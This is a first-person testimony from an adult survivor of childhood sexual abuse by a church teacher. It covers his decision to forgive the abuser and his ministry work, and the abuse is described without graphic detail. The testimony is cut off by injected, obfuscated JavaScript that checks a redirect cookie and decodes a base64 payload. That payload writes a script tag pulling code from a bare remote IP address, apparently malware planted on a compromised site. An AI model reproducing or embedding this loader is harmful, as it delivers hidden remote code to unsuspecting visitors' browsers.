079 – Steve O

I was abused by a Sunday school teacher for about 2 years. He would abuse me in the church bathroom, out back, in his car pretty much any time he could get me alone. I thought it was normal. I was 7 when the abuse began. He had me thinking about sex all the time. I have pretty much thought about sex everyday for the last 30 years. Only in about the last 11 years I have gained control of my thoughts. Several years ago I came to the decision that I needed to forgive this guy for what he had done to me. I am a Christian and I said to myself if I am going to believe the bible I need to believe 100% of it not just the parts I like. Jesus said to forgive others just as he has forgiven us. So I found out what correctional facility he was at (he went back to prison after he got out on my charges because he found another victim) and wrote him a letter saying “I forgive you”. That letter is still in my top drawer. He passed away about a year ago. The letter never made it to him. I do feel a sense of relief. This guy had abused over 15 boys and that is just what came out. Who knows how many lives this guy ruined. I now use what happened to me to minister to others. I write a weekly blog for www.xxxchurch.com this is a ministry that helps people with porn addiction and those in the sex/porn industry. I have found that many of these people have a history of sexual abuse. So what better way to help than to share my story and experiences with them and let them know that they are not alone. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘